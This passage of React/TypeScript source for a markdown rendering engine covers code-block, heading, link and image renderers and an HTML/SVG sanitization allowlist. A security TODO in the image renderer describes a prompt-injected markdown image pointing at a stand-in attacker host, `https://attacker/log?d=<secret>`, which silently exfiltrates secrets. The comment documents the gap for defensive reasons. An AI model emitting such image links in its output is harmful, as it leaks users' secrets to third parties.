bg-ods-card p-4 md:p-6 lg:p-8\">\n      {/* Scoped to `.mermaid-svg-container`, so it only needs to exist when a\n          diagram is actually mounted. The engine used to emit this once per\n          instance — i.e. once per chat segment, almost never with a diagram. */}\n      <style dangerouslySetInnerHTML={{ __html: mermaidStyles }} />\n      <div className=\"flex min-h-[200px] w-full items-center justify-center md:min-h-[250px] lg:min-h-[300px]\">\n        <div\n          className=\"mermaid-svg-container flex w-full max-w-full justify-center\"\n          // The class is a styling hook for the injected SVG (see the <style>\n          // block above); the test id is the stable handle for \"which SVG is\n          // mounted right now\", which the stale-render guard has to assert on.\n          data-testid=\"mermaid-svg-container\"\n          style={{ fontSize: '14px' }}\n          dangerouslySetInnerHTML={{\n            __html: svg.replace(/<svg[^>]*>/, match =>\n              match.replace(/width=\"[^\"]*\"/, 'width=\"100%\"').replace(/height=\"[^\"]*\"/, 'height=\"auto\"'),\n            ),\n          }}\n        />\n      </div>\n    </div>\n  );\n};\n","'use client';\n\nimport { useSyncExternalStore } from 'react';\n\n// The \"store\" is a constant, so there is nothing to subscribe to and nothing to\n// unsubscribe from. Module-level so no consumer can re-subscribe by passing a\n// fresh closure on every render.\nconst subscribe = () => () => {};\nconst getSnapshot = () => true;\nconst getServerSnapshot = () => false;\n\n/**\n * `false` while the server renders and while React hydrates; `true` from the\n * first client render after hydration. The gate for anything that must not\n * appear in the SSR HTML — browser-only APIs, persisted preferences, values\n * read from `localStorage` or `document`.\n *\n * This replaces the `useState(false)` + `useEffect(() => setMounted(true), [])`\n * idiom. Same one extra render, same hydration safety, but the flag is not\n * state anyone owns and there is no synchronous `setState` inside an effect\n * body — the thing `react-hooks/set-state-in-effect` (React Compiler) reports,\n * because that shape forces a second render pass that React cannot batch away.\n *\n * `useSyncExternalStore` is React's own mechanism for this: hydration renders\n * `getServerSnapshot`, and React re-reads `getSnapshot` immediately afterwards\n * and re-renders when the two disagree — which here they always do. In a\n * client-only render (no SSR) there is no hydration pass at all, so this is\n * `true` on the very first render and nothing flashes.\n */\nexport function useIsHydrated(): boolean {\n  return useSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);\n}\n","'use client';\n\n/**\n * Default react-markdown component map for the unified markdown engine.\n * ONE implementation of code blocks, headings, links, lists, tables etc.\n * Compositions layer on top via `componentOverrides` (spread LAST by the\n * engine, so caller overrides always win).\n */\nimport type React from 'react';\nimport type { Components, ExtraProps } from 'react-markdown';\nimport Image from '../../../embed-shims/next-image';\nimport { useAuthedImageSrc } from '../../../hooks/use-authed-image-src';\nimport type { ResolveLinkResult } from '../../../types/doc-source';\nimport { cn } from '../../../utils/cn';\nimport { slugifyHeadingText } from '../../../utils/markdown-heading-id';\nimport { getHashTargetElement, navigateSamePageHash, HUB_HEADER_OFFSET_PX } from '../../../utils/same-page-hash-nav';\nimport { extractText, resolveFallbackHeadingId, useAssignedHeadingIds, useHeadingId } from './heading-ids';\nimport { MermaidDiagram } from './mermaid-diagram';\nimport type { TextSizeElement } from './text-size';\n\n/**\n * Props react-markdown hands a renderer for `<Tag>`: the intrinsic element's\n * own props plus the hast `node` (react-markdown's `ExtraProps`). Mirrors the\n * `Components` map's own element typing, so every renderer below stays\n * assignable to it without a cast.\n *\n * NOTE: react-markdown dropped the `inline` prop in v9 — inline code is\n * distinguished by the absence of a `language-*` class, which is what the\n * `code` renderer already keys off.\n */\nexport type MdRenderProps<Tag extends keyof React.JSX.IntrinsicElements> = React.ComponentPropsWithoutRef<Tag> &\n  ExtraProps;\n\n/**\n * The shared leaf renderers, typed as plain functions (not `Components`\n * entries, which also admit a bare tag name). The rich composition CALLS\n * them directly — see the hook-free contract documented on\n * `buildStandardLeafRenderers` — so their call signature has to be part of\n * the type.\n */\nexport interface StandardLeafRenderers {\n  code: (props: MdRenderProps<'code'>) => React.ReactElement;\n  blockquote: (props: MdRenderProps<'blockquote'>) => React.ReactElement;\n  div: (props: MdRenderProps<'div'>) => React.ReactElement;\n}\n\n/**\n * True when an image `src` is worth rendering. Shared by the base `img` and\n * the rich composition's `img` / `video` overrides so the empty-`![]()`\n * guard has exactly one definition.\n */\n/**\n * Inline content image (blog / docs / chat attachments). A standalone\n * component — NOT inline JSX in the `img` renderer — because it must call\n * `useAuthedImageSrc`: in bearer-mode native shells (`capacitor://`,\n * `tauri://`) a gateway-hosted image can't load through a plain `<img>` (no\n * Authorization header on native asset loads), so the hook swaps in an authed\n * blob URL; everywhere else it returns `src` untouched. While the blob fetch\n * is in flight `resolvedSrc` is null and the component renders nothing — same\n * as the no-src case. Ported from #1548 into the unified engine (the original\n * lived in the now-deleted `ui/simple-markdown-renderer.tsx`). Sizing matches\n * the engine's cap: 400x400 intrinsic, `w-auto h-auto max-h-[400px]` drives\n * the actual rendered box; click-to-expand surfaces provide full resolution.\n */\nconst MarkdownContentImage: React.FC<{ src: string; alt?: string }> = ({ src, alt }) => {\n  const resolvedSrc = useAuthedImageSrc(src);\n  if (!resolvedSrc) return null;\n  return (\n    <Image\n      src={resolvedSrc}\n      alt={alt ?? 'No image available'}\n      width={400}\n      height={400}\n      sizes=\"(max-width: 400px) 100vw, 400px\"\n      className=\"h-auto max-h-[400px] w-auto max-w-full rounded-lg object-contain\"\n      style={{ width: 'auto', height: 'auto' }}\n    />\n  );\n};\n\nexport function hasRenderableSrc(src: unknown): src is string {\n  return typeof src === 'string' && src.trim() !== '';\n}\n\nexport interface BuildBaseComponentsOptions {\n  textSizes: Record<TextSizeElement, string>;\n  demoteMarkdownH1ToH2: boolean;\n  brokenLinks: readonly string[];\n  currentPath?: string;\n  onInternalLinkClick?: (path: string, options?: { expandFolder?: boolean; fromInternalLink?: boolean }) => void;\n  onResolveLink?: (href: string, currentPath: string) => Promise<ResolveLinkResult>;\n}\n\n/**\n * The standard leaf renderers (`code` block + inline, `blockquote`, `div`\n * pass-through) as standalone functions.\n *\n * SSOT for compositions that must OVERRIDE these renderers for a narrow\n * special case and then fall through: the rich composition intercepts embed\n * fence languages, shortcode-expanded `div`s and Reddit's `reddit-embed-bq`\n * blockquote, and delegates everything else here. Previously it reproduced\n * these renderers byte-for-byte, so any class change here silently drifted\n * on content surfaces.\n *\n * THESE MUST STAY HOOK-FREE: the rich composition calls them as plain\n * functions from inside its own renderers (`standard.code(props)`), which is\n * not a React render of a component and would break the rules of hooks.\n * Hook-using renderers (the headings, which read the heading-line offset\n * from context) live in `buildBaseComponents` below and are never delegated\n * to this way.\n *\n * ODS-TOKENS FLAG (ODS_TOKEN_RULES §Typography / §General): inline code keeps\n * an inline `text-[0.9em]`, carried over verbatim from the pre-unification\n * renderers — ODS has no relative-to-parent code size, so mapping it onto an\n * existing token would visibly change every inline code span. Same shape as\n * the flag in ./text-size.ts — flagged for addition to ODS, not copied\n * anywhere else.\n *\n * The code BLOCK's font is NOT flagged: the raw \"JetBrains Mono\", \"SF Mono\",\n * Consolas stack the old renderer inlined is gone, replaced by Tailwind's\n * `font-mono` (→ `var(--font-family-heading)`, the Azeret Mono ODS stack) —\n * the same class the inline-code branch below already used, so the two code\n * surfaces no longer disagree about their family.\n */\nexport function buildStandardLeafRenderers({\n  textSizes,\n}: {\n  textSizes: Record<TextSizeElement, string>;\n}): StandardLeafRenderers {\n  return {\n    code: ({ node, className: codeClassName, children, ...props }: MdRenderProps<'code'>) => {\n      const match = /language-(\\w+)/.exec(codeClassName || '');\n      const language = match ? match[1] : '';\n\n      if (language === 'mermaid') {\n        return <MermaidDiagram chart={String(children).replace(/\\n$/, '')} />;\n      }\n\n      if (match) {\n        return (\n          <div className=\"code-block-container my-6 overflow-hidden rounded-lg border border-ods-border bg-ods-card\">\n            <div className=\"code-header border-b border-ods-border bg-ods-card px-4 py-2\">\n              <span className=\"font-sans text-xs uppercase tracking-wide text-ods-text-tertiary\">\n                {language || 'code'}\n              </span>\n            </div>\n            <div className=\"p-4\">\n              <pre className=\"overflow-x-auto\">\n                <code\n                  className={cn(`language-${language} hljs font-mono`, textSizes.code)}\n                  style={{\n                    background: 'transparent',\n                    color: 'var(--color-text-primary)',\n                  }}\n                  {...props}\n                >\n                  {children}\n                </code>\n              </pre>\n            </div>\n          </div>\n        );\n      }\n\n      return (\n        <code\n          className=\"rounded border border-ods-border bg-ods-card px-1.5 py-0.5 font-mono text-[0.9em] text-ods-text-primary\"\n          {...props}\n        >\n          {children}\n        </code>\n      );\n    },\n\n    blockquote: ({ children }: MdRenderProps<'blockquote'>) => (\n      <blockquote className=\"my-8 ml-0 rounded-r-lg border-l-4 border-ods-accent bg-ods-bg-surface py-4 pl-6\">\n        <div className={cn('font-sans leading-relaxed text-ods-text-secondary', textSizes.blockquote)}>{children}</div>\n      </blockquote>\n    ),\n\n    // Pass-through `div` (overridable for embeds; `node` is dropped so it\n    // never reaches the DOM).\n    div: ({ node, className: divClassName, children, ...props }: MdRenderProps<'div'>) => (\n      <div className={divClassName} {...props}>\n        {children}\n      </div>\n    ),\n  };\n}\n\nexport function buildBaseComponents({\n  textSizes,\n  demoteMarkdownH1ToH2,\n  brokenLinks,\n  currentPath: propCurrentPath,\n  onInternalLinkClick,\n  onResolveLink,\n}: BuildBaseComponentsOptions): Components {\n  const makeHeading = (Tag: 'h1' | 'h2' | 'h3' | 'h4' | 'h5' | 'h6', headingClassName: string) => {\n    function MarkdownHeading({ node, children }: MdRenderProps<'h1'>) {\n      // PURE LOOKUP — no counters, no render-order dependency. The map is\n      // built once from the processed source and reaches this renderer via\n      // context (see ./heading-ids.ts for why not via this options object).\n      const mapped = useHeadingId(node);\n      const taken = useAssignedHeadingIds();\n      // An AUTHORED anchor wins over everything. The sanitize schema allows\n      // `id` on every element (and disables clobbering) precisely so\n      // `<h2 id=\"pricing-faq\">` keeps its hand-picked anchor; overwriting it\n      // with the slug of its text silently broke every existing deep link\n      // pointing at it.\n      const explicit =\n        typeof node?.properties?.id === 'string' && node.properties.id !== '' ? node.properties.id : undefined;\n      // Fallback for headings the source scan cannot see — in practice only\n      // caller-plugin-synthesized nodes, which carry no source position.\n      // Deduped against the ids the map already assigned (pure — see\n      // resolveFallbackHeadingId).\n      const id = explicit ?? mapped ?? resolveFallbackHeadingId(slugifyHeadingText(extractText(children)), taken);\n      const EffectiveTag = Tag === 'h1' && demoteMarkdownH1ToH2 ? 'h2' : Tag;\n      return (\n        <EffectiveTag id={id || undefined} className={headingClassName}>\n          {children}\n        </EffectiveTag>\n      );\n    }\n    // Named so React DevTools and error boundaries show `MarkdownHeading(h2)`\n    // instead of an anonymous frame for every heading in a document.\n    MarkdownHeading.displayName = `MarkdownHeading(${Tag})`;\n    return MarkdownHeading;\n  };\n\n  return {\n    // --- code + blockquote + div (shared leaf renderers, see above) ---\n    ...buildStandardLeafRenderers({ textSizes }),\n\n    // --- headings ---\n    h1: makeHeading('h1', cn('mb-4 mt-8 font-sans font-bold text-ods-text-primary first:mt-0', textSizes.h1)),\n    h2: makeHeading(\n      'h2',\n      cn('mb-4 mt-8 border-b border-ods-border pb-2 font-sans font-semibold text-ods-text-primary', textSizes.h2),\n    ),\n    h3: makeHeading('h3', cn('mb-3 mt-6 font-sans font-semibold text-ods-text-primary', textSizes.h3)),\n    h4: makeHeading('h4', cn('mb-2 mt-4 font-sans font-semibold text-ods-text-primary', textSizes.h4)),\n    h5: makeHeading('h5', cn('mb-2 mt-3 font-sans font-semibold text-ods-text-primary', textSizes.h5)),\n    h6: makeHeading('h6', cn('mb-1 mt-3 font-sans font-semibold text-ods-text-primary', textSizes.h6)),\n\n    // --- paragraph ---\n    p: ({ children }: MdRenderProps<'p'>) => (\n      <p className={cn('mb-4 leading-relaxed text-ods-text-primary first:mt-0 last:mb-0', textSizes.p)}>{children}</p>\n    ),\n\n    // --- links ---\n    a: ({ href, children, className: linkClassName }: MdRenderProps<'a'>) => {\n      const isBroken = href !== undefined && brokenLinks.includes(href);\n      const isInternalDocLink =\n        propCurrentPath !== undefined &&\n        propCurrentPath !== null &&\n        !!href &&\n        !href.startsWith('http') &&\n        !href.startsWith('#');\n\n      if (isBroken) {\n        return (\n          <span className=\"cursor-not-allowed text-ods-accent\">\n            {children}\n            <sup className=\"ml-1 text-xs font-bold text-ods-error\">[BROKEN]</sup>\n          </span>\n        );\n      }\n\n      if (isInternalDocLink && onInternalLinkClick) {\n        const currentPath = propCurrentPath ?? '';\n        return (\n          <span\n            className=\"relative cursor-pointer text-ods-accent no-underline transition-colors duration-200 after:absolute after:-bottom-0.5 after:left-0 after:h-0.5 after:w-0 after:bg-ods-accent after:transition-all after:duration-300 after:content-[''] hover:after:w-full\"\n            onClick={async e => {\n              e.preventDefault();\n              e.stopPropagation();\n              if (onResolveLink) {\n                try {\n                  const result = await onResolveLink(href, currentPath);\n                  if (result.type === 'folder-no-readme' && result.action === 'expand_folder') {\n                    // `resolvedPath` is optional on `ResolveLinkResult` — the\n                    // endpoint's discriminators are plain strings, so an\n                    // expand_folder result with no path is a shape the wire\n                    // permits. Skip rather than navigating to `undefined`\n                    // (which is what the previous assertion did).\n                    if (result.resolvedPath) {\n                      onInternalLinkClick(result.resolvedPath, { expandFolder: true, fromInternalLink: true });\n                    }\n                  } else if (result.type === 'not-found') {\n                    return;\n                  } else if (result.success && result.resolvedPath) {\n                    onInternalLinkClick(result.resolvedPath, { fromInternalLink: true });\n                  }\n                } catch (error) {\n                  console.error('Error resolving link:', error);\n                }\n              } else {\n                onInternalLinkClick(href, { fromInternalLink: true });\n              }\n            }}\n            role=\"link\"\n            tabIndex={0}\n            onKeyDown={e => {\n              if (e.key === 'Enter' || e.key === ' ') {\n                e.currentTarget.click();\n              }\n            }}\n          >\n            {children}\n          </span>\n        );\n      }\n\n      // In-page anchor. Doc TOCs are authored against GitHub's slugger\n      // (`## 📚 Table of Contents` → `#-table-of-contents`) while our heading\n      // ids trim the emoji's leftover hyphen, so the raw href resolves to\n      // nothing and the browser silently ignores the click. Resolve through\n      // `getHashTargetElement` — the same resolver deep links use — then hand\n      // the real id to the canonical hash-nav helper, which also lands the\n      // heading BELOW the sticky header instead of under it, matching how the\n      // \"On this page\" rail scrolls.\n      const inPageAnchorId = typeof href === 'string' && href.startsWith('#') && href.length > 1 ? href.slice(1) : null;\n      const handleAnchorClick = (e: React.MouseEvent<HTMLAnchorElement>) => {\n        if (inPageAnchorId === null) return;\n        // Let modifier / non-primary clicks keep their native behavior.\n        if (e.metaKey || e.ctrlKey || e.shiftKey || e.altKey || e.button !== 0) return;\n        const target = getHashTargetElement(inPageAnchorId);\n        // Nothing matched anywhere in the document → leave the browser's\n        // default alone rather than swallowing a click that isn't ours.\n        if (!target?.id) return;\n        e.preventDefault();\n        navigateSamePageHash(`#${target.id}`, { headerOffset: HUB_HEADER_OFFSET_PX });\n      };\n\n      return (\n        <a\n          href={href}\n          className={`relative text-ods-accent no-underline transition-colors duration-200 after:absolute after:-bottom-0.5 after:left-0 after:h-0.5 after:w-0 after:bg-ods-accent after:transition-all after:duration-300 after:content-[''] hover:after:w-full ${linkClassName || ''}`}\n          target={href?.startsWith('http') ? '_blank' : undefined}\n          rel={href?.startsWith('http') ? 'noopener noreferrer' : undefined}\n          onClick={inPageAnchorId !== null ? handleAnchorClick : undefined}\n        >\n          {children}\n        </a>\n      );\n    },\n\n    // --- images ---\n    // Inline content image renderer (blog, docs, chat attachments) —\n    // delegates to `MarkdownContentImage` (above), which handles bearer-mode\n    // authed loading for native shells and the 400x400 cap with click-to-\n    // expand for full resolution.\n    //\n    // TODO(security): LLM-rendered surfaces still auto-load ANY image origin,\n    // so a prompt-injected `![](https://attacker/log?d=<secret>)` exfiltrates\n    // silently. An image-origin allowlist is a tracked follow-up: it requires\n    // a host-supplied origin list threaded from each chat composition (there\n    // is no safe default this library can pick), so it is deliberately absent\n    // rather than shipped unwired.\n    img: ({ src, alt }: MdRenderProps<'img'>) => {\n      if (!hasRenderableSrc(src)) return null;\n      return <MarkdownContentImage src={src} alt={alt} />;\n    },\n\n    // --- lists ---\n    ul: ({ children }: MdRenderProps<'ul'>) => (\n      <ul className=\"my-4 ml-8 list-outside list-disc space-y-2 text-ods-text-primary\">{children}</ul>\n    ),\n    ol: ({ children }: MdRenderProps<'ol'>) => (\n      <ol className=\"my-4 ml-8 list-outside list-decimal space-y-2 text-ods-text-primary\">{children}</ol>\n    ),\n    li: ({ children }: MdRenderProps<'li'>) => <li className={cn('pl-2 leading-relaxed', textSizes.li)}>{children}</li>,\n\n    // --- tables ---\n    // The frame and the scroll container are ONE element, matching the sibling\n    // block embed (`mermaid-diagram.tsx`) and `users-grid-skeleton`. It used to\n    // be two — `overflow-x-auto` outside, `rounded-lg border` on an inner\n    // `min-w-full` div — so nothing clipped: the cells' own `border-r`/`border-b`\n    // ran straight through the rounded corners and out past the frame's edge.\n    // `overflow-x-auto` establishes clipping on both axes, which is what rounds\n    // the cell borders off with the frame; the inner div's `min-w-full` is\n    // redundant on a block-level scroll container.\n    //\n    // `[&_tr:last-child_td]:border-b-0` is on the table rather than in the `td`\n    // renderer because Tailwind's `last:` there means \"last CELL in its row\"\n    // (which is what `last:border-r-0` correctly uses), not \"last row\" — so the\n    // bottom row's `border-b` used to sit against the frame's own border as a\n    // doubled line.\n    table: ({ children }: MdRenderProps<'table'>) => (\n      <div className=\"table-container my-6 overflow-x-auto rounded-lg border border-ods-border bg-ods-card\">\n        <table className=\"w-full table-fixed md:table-auto [&_tr:last-child_td]:border-b-0\">{children}</table>\n      </div>\n    ),\n    thead: ({ children }: MdRenderProps<'thead'>) => <thead className=\"bg-ods-bg-surface\">{children}</thead>,\n    th: ({ children }: MdRenderProps<'th'>) => (\n      <th\n        className={cn(\n          'break-words border-r border-ods-border px-2 py-3 text-left font-semibold text-ods-accent last:border-r-0 md:px-4',\n          textSizes.th,\n        )}\n      >\n        {children}\n      </th>\n    ),\n    td: ({ children }: MdRenderProps<'td'>) => (\n      <td\n        className={cn(\n          'whitespace-normal break-words border-b border-r border-ods-border px-2 py-3 text-ods-text-primary last:border-r-0 md:px-4',\n          textSizes.td,\n        )}\n      >\n        {children}\n      </td>\n    ),\n\n    // --- horizontal rule ---\n    hr: () => <hr className=\"my-8 border-0 border-t border-ods-border\" />,\n  };\n}\n","/**\n * Sanitization SSOT for the unified markdown engine.\n *\n * Layered defense (order matters, see engine.tsx):\n *   1. `escapeUnknownHtmlTags` — TEXT pre-pass. Escapes `<tag>`s outside the\n *      effective allowlist so LLM-emitted pseudo-tags (`<their>`, `<ticket>`)\n *      never reach React as unknown elements (React 19 crash guard).\n *      NOT a security boundary.\n *   2. `rehype-raw` parses remaining raw HTML into HAST.\n *   3. `rehypeSanitize` with `buildSanitizeSchema(...)` — the audited\n *      allow-list boundary (hast-util-sanitize) with a schema extended to\n *      exactly what our surfaces need.\n *   4. `rehypeStripUnsafe` — custom strip pass kept as defense-in-depth\n *      (srcset candidate scanning, iframe[srcdoc], belt-and-suspenders if\n *      the schema is ever loosened).\n *\n * COUPLED-ALLOWLIST INVARIANT (tested in __tests__/sanitize-invariant.test.ts):\n * the two effective tag lists are EQUAL (case-insensitively), both computed\n * AFTER merging `extraAllowedHtmlTags`. Both directions matter:\n *   - pre-pass ⊆ sanitizer: the pre-pass must never admit a raw tag the\n *     sanitizer then silently drops.\n *   - sanitizer ⊆ pre-pass: the pre-pass must never ESCAPE a tag the\n *     sanitizer would happily keep. This direction was broken before\n *     2026-07: `strike` (and every other `defaultSchema`-only tag) survived\n *     the sanitizer but was escaped to `&lt;strike&gt;` source text by the\n *     pre-pass, so legacy authored markup regressed to visible tag soup.\n * Both lists are now derived from the SINGLE `effectiveTagList()` below —\n * never fork them.\n *\n * ONE documented exception, and it is CONTENT-dependent rather than\n * list-level (so the invariant test still holds as an equality of tag SETS):\n * an UNCLOSED RAWTEXT/RCDATA opener (`<textarea>`, `<iframe>`, `<title>`, …)\n * is escaped by the pre-pass even though the sanitizer allowlists it —\n * because parse5's tokenizer would otherwise swallow the remainder of the\n * document into it before the sanitizer ever runs. See RAWTEXT_TAGS below.\n */\nimport type { Element, ElementContent, Properties, Root, RootContent } from 'hast';\nimport { defaultUrlTransform } from 'react-markdown';\nimport { defaultSchema } from 'rehype-sanitize';\nimport { createFenceTracker, isBlankLine } from '../../../utils/markdown-fences';\n\n// ---------------------------------------------------------------------------\n// Shared tag allowlist (pre-pass baseline)\n// ---------------------------------------------------------------------------\n/**\n * Tags the TEXT pre-pass forwards as raw HTML. Anything outside this set\n * (plus per-composition `extraAllowedHtmlTags`) gets its angle brackets\n * escaped and renders as plain text.\n *\n * `video` is deliberately NOT in the baseline: chat strips <video>\n * server-side and playback goes through the <Video> SSOT. The rich\n * composition opts back in via `extraAllowedHtmlTags={['video', 'source']}`\n * so authored content (blog publisher video injection) keeps working.\n */\nexport const SAFE_HTML_TAGS = new Set([\n  // Block + inline text\n  'a',\n  'abbr',\n  'address',\n  'article',\n  'aside',\n  'b',\n  'bdi',\n  'bdo',\n  'blockquote',\n  'br',\n  'caption',\n  'cite',\n  'code',\n  'col',\n  'colgroup',\n  'data',\n  'dd',\n  'del',\n  'details',\n  'dfn',\n  'div',\n  'dl',\n  'dt',\n  'em',\n  'figcaption',\n  'figure',\n  'footer',\n  'h1',\n  'h2',\n  'h3',\n  'h4',\n  'h5',\n  'h6',\n  'header',\n  'hgroup',\n  'hr',\n  'i',\n  'ins',\n  'kbd',\n  'li',\n  'main',\n  'mark',\n  'nav',\n  'ol',\n  'p',\n  'pre',\n  'q',\n  'rp',\n  'rt',\n  'ruby',\n  's',\n  'samp',\n  'section',\n  'small',\n  'span',\n  'strong',\n  'sub',\n  'summary',\n  'sup',\n  'table',\n  'tbody',\n  'td',\n  'tfoot',\n  'th',\n  'thead',\n  'time',\n  'tr',\n  'u',\n  'ul',\n  'var',\n  'wbr',\n  // Deprecated presentational tags that REAL authored content still carries.\n  // They rendered before the unification (neither old renderer had a\n  // pre-pass), so escaping them to visible `&lt;center&gt;` source text was a\n  // regression. `font` gets its legacy attributes below so the sanitizer\n  // doesn't reduce it to a bare no-op tag. (`marquee` stays out — it is\n  // animated chrome, not text markup, and no audit hit found it.)\n  'center',\n  'font',\n  'big',\n  // Media ('video' intentionally excluded — see the header comment)\n  'img',\n  'picture',\n  'source',\n  'audio',\n  'iframe',\n  'track',\n  // Forms (rehype-raw allows them; mostly harmless for chat output)\n  'button',\n  'input',\n  'label',\n  'select',\n  'option',\n  'optgroup',\n  'textarea',\n  'form',\n  'fieldset',\n  'legend',\n]);\n\n/**\n * Inline SVG element set, in the CANONICAL case parse5 produces for SVG\n * foreign content (`linearGradient`, `clipPath`, … are camelCase in the\n * HTML parser's SVG adjustment table, so the sanitize schema must match\n * that spelling; the text pre-pass lowercases before lookup).\n *\n * Inline `<svg>` renders in real published posts (hand-authored diagrams\n * and inline icon markup — NOT `<use href>` sprite references, which are\n * deliberately dropped; see SVG_ATTRIBUTES). The Rich renderer had NO pre-pass\n * and NO sanitizer, so it always rendered; without this set the unified\n * engine would escape it to visible source text.\n *\n * SEVERAL OF THESE NAMES ARE ALSO HTML ELEMENTS (`title`, `desc`, `text`,\n * `g`, `line`, `use`, `symbol`, `marker`, `mask`, `pattern`) — admitting\n * them UNCONSTRAINED let a post or a chat message emit a bare `<title>`,\n * which React 19 hoists into `<head>` (browser-tab + SEO title hijack) and\n * whose RAWTEXT content model swallows the rest of the document when\n * unclosed. They are therefore pinned to an `svg` ancestor in\n * `SVG_ONLY_ANCESTORS` below; outside `<svg>` the sanitizer drops them.\n */\nexport const SVG_TAGS = new Set([\n  'svg',\n  'path',\n  'circle',\n  'ellipse',\n  'g',\n  'rect',\n  'line',\n  'polyline',\n  'polygon',\n  'text',\n  'tspan',\n  'defs',\n  'use',\n  'symbol',\n  'title',\n  'desc',\n  'marker',\n  'mask',\n  'pattern',\n  'linearGradient',\n  'radialGradient',\n  'stop',\n  'clipPath',\n]);\n\n/**\n * Required-ancestor constraints for the SVG-only tags (hast-util-sanitize\n * `ancestors`: a listed tag survives ONLY inside one of its ancestors).\n *\n * The TEXT pre-pass may still forward these — it is a flat regex over source\n * text, cannot see nesting, and is explicitly NOT a security boundary. The\n * coupled-allowlist invariant still holds because `ancestors` RESTRICTS a\n * tag the schema already lists; it never adds one the pre-pass would escape.\n */\nconst SVG_ONLY_ANCESTORS: Record<string, string[]> = {\n  title: ['svg'],\n  desc: ['svg'],\n  text: ['svg'],\n  tspan: ['svg', 'text'],\n  use: ['svg'],\n  symbol: ['svg'],\n  marker: ['svg'],\n  mask: ['svg'],\n  pattern: ['svg'],\n  g: ['svg'],\n  line: ['svg'],\n  path: ['svg'],\n  circle: ['svg'],\n  ellipse: ['svg'],\n  rect: ['svg'],\n  polyline: ['svg'],\n  polygon: ['svg'],\n  defs: ['svg'],\n  stop: ['svg'],\n  linearGradient: ['svg'],\n  radialGradient: ['svg'],\n  clipPath: ['svg'],\n};\n\n/**\n * THE effective tag list for a composition, canonical case — the single\n * source both the pre-pass set and the sanitize schema derive from\n * (coupled-allowlist invariant, both directions).\n *\n * `defaultSchema.tagNames` is unioned in so the pre-pass can never escape a\n * tag hast-util-sanitize would keep (`strike`, `tt`, …).\n */\nfunction effectiveTagList(extraAllowedHtmlTags?: string[]): string[] {\n  return [...(defaultSchema.tagNames ?? []), ...SAFE_HTML_TAGS, ...SVG_TAGS, ...(extraAllowedHtmlTags ?? [])];\n}\n\n/** Effective pre-pass tag set for a composition (lowercased for lookup). */\nexport function buildEffectiveTagSet(extraAllowedHtmlTags?: string[]): Set<string> {\n  return new Set(effectiveTagList(extraAllowedHtmlTags).map(t => t.toLowerCase()));\n}\n\n// ---------------------------------------------------------------------------\n// rehype-sanitize schema (allow-list boundary)\n// ---------------------------------------------------------------------------\n/**\n * Per-tag attribute allowances layered on top of hast-util-sanitize's\n * defaultSchema. Property names are hast camelCase. Attribute survival\n * matters as much as tag survival — an attribute-stripped `<video>` is a\n * sourceless player (see plan: \"video-survives-sanitize fixture\").\n */\nconst EXTRA_ATTRIBUTES: Record<string, Array<string | [string, ...unknown[]]>> = {\n  // `style` is allowed on the tags the 2026-07 content-store audit found it\n  // on in REAL published posts (div.takeaway, table styling, reddit\n  // blockquotes). This matches pre-unification behavior on BOTH surfaces —\n  // neither old renderer stripped style — so it is parity, not loosening;\n  // the URL-scheme guards in rehypeStripUnsafe still apply to attributes.\n  '*': ['className', 'id', 'data*', 'dir', 'title', 'lang'],\n  a: ['target', 'rel', 'href'],\n  div: ['style'],\n  span: ['style'],\n  p: ['style'],\n  blockquote: ['style', 'cite'],\n  td: ['colSpan', 'rowSpan', 'align', 'style'],\n  th: ['colSpan', 'rowSpan', 'align', 'scope', 'style'],\n  img: ['src', 'srcSet', 'sizes', 'alt', 'width', 'height', 'loading', 'decoding'],\n  iframe: ['src', 'width', 'height', 'allow', 'allowFullScreen', 'frameBorder', 'loading', 'referrerPolicy', 'style'],\n  video: ['src', 'poster', 'controls', 'width', 'height', 'loop', 'muted', 'autoPlay', 'playsInline', 'preload'],\n  source: ['src', 'type', 'media', 'srcSet', 'sizes'],\n  audio: ['src', 'controls', 'loop', 'muted', 'preload'],\n  track: ['src', 'kind', 'srcLang', 'label', 'default'],\n  time: ['dateTime'],\n  details: ['open'],\n  // Form elements (allow the benign presentational subset).\n  //\n  // `input` carries EXACTLY the GFM task-list contract and nothing else.\n  // Dropping the attribute widening alone was not enough: defaultSchema\n  // pins `required.input = { type:'checkbox', disabled:true }`, and\n  // `required` force-ADDS those properties regardless of what the author\n  // wrote — so `<input type=\"text\" placeholder=\"email\">` still came out as\n  // a disabled checkbox. `buildSanitizeSchema` therefore clears\n  // `required.input` (remark-gfm emits `type=\"checkbox\" disabled` on task\n  // items itself, so the coercion was redundant) and the contract is\n  // expressed here instead: type is pinned to the literal `checkbox`, so a\n  // text input degrades to a bare `<input>` rather than a fake checkbox.\n  input: [['type', 'checkbox'], 'checked', 'disabled'],\n  button: ['type', 'disabled', 'name', 'value'],\n  // Legacy presentational tag — without its own attributes the sanitizer\n  // would keep `<font>` but strip everything that makes it do anything.\n  font: ['color', 'size', 'face'],\n  select: ['disabled', 'multiple', 'name'],\n  option: ['value', 'selected', 'disabled'],\n  optgroup: ['label', 'disabled'],\n  textarea: ['rows', 'cols', 'placeholder', 'disabled', 'readOnly', 'name'],\n  label: ['htmlFor'],\n  col: ['span'],\n  colgroup: ['span'],\n};\n\n/**\n * SVG presentation/geometry attributes, keyed the way hast keys them:\n * property-information normalizes `font-size` → `fontSize`,\n * `stroke-dasharray` → `strokeDasharray`, … BEFORE the sanitizer sees the\n * tree, so ONLY the camelCase spellings are load-bearing. The dashed\n * spellings previously listed alongside them were dead weight (they never\n * matched anything) and are gone; do not re-add them.\n *\n * `style` is allowed here for parity with div/span/p (same 2026-07 audit\n * rationale — authored SVG carries inline `style` and both pre-unification\n * renderers kept it; the URL guards in rehypeStripUnsafe still apply).\n */\nconst SVG_ATTRIBUTES = [\n  'viewBox',\n  'xmlns',\n  'd',\n  'fill',\n  'stroke',\n  'cx',\n  'cy',\n  'r',\n  'rx',\n  'ry',\n  'x',\n  'y',\n  'x1',\n  'y1',\n  'x2',\n  'y2',\n  'points',\n  'transform',\n  'opacity',\n  'offset',\n  'width',\n  'height',\n  'style',\n  // NOTE the exact casing: property-information's SVG map uses\n  // `strokeDashArray` / `strokeDashOffset` / `strokeMiterLimit` (capital\n  // A/O/L), NOT the react-DOM spellings. A near-miss here fails SILENTLY —\n  // the attribute is simply stripped. Verify against\n  // node_modules/property-information/lib/svg.js before adding one.\n  'strokeWidth',\n  'strokeDashArray',\n  'strokeDashOffset',\n  'strokeMiterLimit',\n  'strokeOpacity',\n  'strokeLinecap',\n  'strokeLinejoin',\n  'fillRule',\n  'fillOpacity',\n  'stopColor',\n  'stopOpacity',\n  